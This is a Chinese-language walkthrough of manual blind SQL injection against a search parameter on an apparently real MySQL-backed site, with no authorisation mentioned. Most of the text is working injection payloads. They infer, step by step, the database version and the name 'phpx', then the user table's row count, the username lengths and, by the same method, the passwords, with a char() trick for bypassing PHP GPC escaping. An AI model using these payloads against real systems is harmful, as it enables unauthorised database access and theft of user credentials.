某大牛遇到个搜索型的注入,工具不好跑,于是相约一起手工,但我是菜逼,在查阅了文献并且经过疯子大牛的悉心提点下,便写下这篇笔记,和其他盲注手法一样,通过判断页面回显情况来进行注入=。=
注入点报错如下:
通过报错得知,这是个Mysql的库
0×01-判断数据库版本
通过left()截取,判断语句如下
%'and(SELECT left(version(),1)>4) and '%'=' /*回显正常*/
%'and(SELECT left(version(),1)>6) and '%'=' /*回显错误*/
%'and(SELECT left(version(),1)=5) and '%'=' /*回显正常*/
当>4时回显正常说明版本大于4,当大于6时回显错误,判断版本为5
0×02-判断数据库长度
%'and(SELECT length(database())>1) and '%'=' /*回显正常*/
%'and(SELECT length(database())>4) and '%'=' /*回显错误*/
%'and(SELECT length(database())=4) and '%'=' /*回显正常*/
通过回显,猜测出数据库长度为4
0×03-猜解数据库名
%'and(SELECT left(database(),1))>'1' and '%'='
%'and(SELECT left(database(),1))>'1' and '%'='
%'and(SELECT left(database(),1))='p' and '%'=' p
%'and(SELECT left(database(),2))='ph' and '%'=' ph
%'and(SELECT left(database(),3))='php' and '%'=' php
%'and(SELECT left(database(),4))='phpx' and '%'='
此处用了经典的折半法猜解
%'and(SELECT left(database(),1))>'1' and '%'=' /*回显正常*/
%'and(SELECT left(database(),1))>'9' and '%'=' /*回显正常*/
/*说明第一个字符不是数字*/
%'and(SELECT left(database(),1))>'a' and '%'=' /*回显正常*/
%'and(SELECT left(database(),1))>'z' and '%'=' /*回显错误*/
/*开始折半*/
%'and(SELECT left(database(),1))>'m' and '%'=' /*回显正常说明在m-z间*/
%'and(SELECT left(database(),1))>'r' and '%'=' /*回显错误说明在m-r间*/
%'and(SELECT left(database(),1))='p' and '%'='/*回显正常,确定了为p*/
%'and(SELECT left(database(),2))='ph' and '%'='/*回显正常说明第二个字符为h*/
…………
根据上面说的拆半法,依次猜解出了数据库名为phpx
0×04-猜解字段
%'and(select count(username)from user)>0 and '%'='
猜解user表中的总数
%'and(select count(*)from user)>2 and '%'=' /*回显错误*/
%'and(select count(*)from user)>1 and '%'='/*回显正确*/
%'and(select count(*)from user)=2 and '%'='/*回显正确,说明有俩*/
密码猜解也是这样的方法
0×05-猜解username的长度
%'and (select (select length(username) from user limit 0,1) from user limit 0,1)>0 and '%'=' /*回显正确*/
%'and (select (select length(username) from user limit 0,1) from user limit 0,1)>9 and '%'=' /*回显正确*/
%'and (select (select length(username) from user limit 0,1) from user limit 0,1)>10 and '%'=' /*回显错误*/
%'and (select (select length(username) from user limit 0,1) from user limit 0,1)=10 and '%'=' /*回显正确,说明第一位username有10位*/
%'and (select (select length(username) from user limit 1,1) from user limit 1,1)>0 and '%'=' /*回显正确,第二位同样为10位*/
0×06-猜解值
猜解值太苦逼了,使用burpsuite来不断的提交post猜解算了,方法都是一样的
0×07-猜解password
方法和猜解username的一样,不再做赘述
0×08-关于特殊字符和避免php的GPC转义
如果遇到特殊字符的话会更加苦逼,此处可以用到substr函数,使用方法可以参看手册,示例可参看习科的一文
避免GPC转义
select substr(left((select user from ebt_user),1),1,1)=char(48)
%'and(SELECT left(version(),1)=5) and '%'='
最后,感谢疯子大牛的帮助,他的博客是http://fuck.0day5.com